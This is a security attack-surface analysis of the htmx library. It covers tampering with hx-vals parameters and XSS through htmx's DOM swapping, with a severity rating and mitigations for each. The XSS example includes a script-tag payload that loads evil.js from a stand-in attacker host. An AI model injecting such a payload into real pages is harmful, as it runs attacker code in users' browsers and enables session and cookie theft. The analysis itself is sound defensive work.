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attack-surface.md

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Attack Surface Analysis for bigskysoftware/htmx

Attack Surface: 1. hx-vals Parameter Tampering

  • Description: Attackers can modify the values within the hx-vals attribute before the HTMX request is sent to the server, leading to server-side vulnerabilities due to untrusted client input.
  • HTMX Contribution: HTMX's hx-vals attribute is designed to send client-side data to the server, making it a direct vector for parameter manipulation if server-side validation is insufficient.
  • Example: An application uses hx-vals to transmit user roles for authorization in an HTMX request. An attacker modifies hx-vals to elevate their role to "admin" before sending the request. If the server trusts this client-provided role without proper server-side verification, the attacker could gain unauthorized administrative access.
  • Impact: Business Logic Bypass, Unauthorized Access, Data Manipulation, Potential for privilege escalation and significant system compromise depending on the application logic.
  • Risk Severity: High
  • Mitigation Strategies:
    • Strict Server-Side Input Validation: Mandatory server-side validation and sanitization of ALL data received via hx-vals. Treat all client-provided data as untrusted.
    • Server-Side Authorization: Implement robust server-side authorization mechanisms that do not rely on client-provided roles or permissions in hx-vals. Use server-side sessions or databases to manage user roles and permissions securely.
    • Principle of Least Privilege: Design server-side logic to only process and utilize explicitly expected and validated parameters from hx-vals. Ignore or reject unexpected or invalid data.

Attack Surface: 2. Client-Side DOM Clobbering leading to Cross-Site Scripting (XSS)

  • Description: Malicious server responses, specifically crafted to exploit HTMX's DOM swapping mechanism, can clobber existing DOM elements and inject attacker-controlled JavaScript, leading to Cross-Site Scripting (XSS).
  • HTMX Contribution: HTMX's core functionality of swapping and replacing DOM elements based on server responses provides a direct pathway for injecting malicious content into the client-side DOM if server responses are not carefully controlled.
  • Example: An attacker compromises a server or finds an injection point that allows them to manipulate server responses for HTMX requests. They craft a response that includes HTML like <script src="https://malicious.example.com/evil.js"></script>. When HTMX processes this response and injects it into the DOM, the malicious script from malicious.example.com is executed in the user's browser, leading to XSS.
  • Impact: Cross-Site Scripting (XSS), Session Hijacking, Cookie Theft, Account Takeover, Defacement, Redirection to Malicious Sites, Full compromise of the user's browser session within the application's context.
  • Risk Severity: High
  • Mitigation Strategies:
    • Robust Server-Side Output Encoding/Escaping: Critically important to implement rigorous server-side output encoding/escaping for ALL data included in HTML responses, especially those intended for HTMX to inject. Use context-aware escaping appropriate for HTML to prevent injection of script tags or event handlers.
    • Content Security Policy (CSP): Implement a strict Content Security Policy (CSP) that significantly restricts the sources from which scripts can be loaded and limits other browser capabilities to mitigate the impact of XSS. Specifically, use script-src directive to control script sources and consider nonce or hash based CSP for inline scripts if absolutely necessary.
    • Secure Server Infrastructure and Response Handling: Harden server infrastructure to prevent compromises that could lead to malicious server responses. Carefully review and sanitize all server-side code paths that generate HTML responses for HTMX, ensuring no attacker-controlled data can be injected without proper escaping.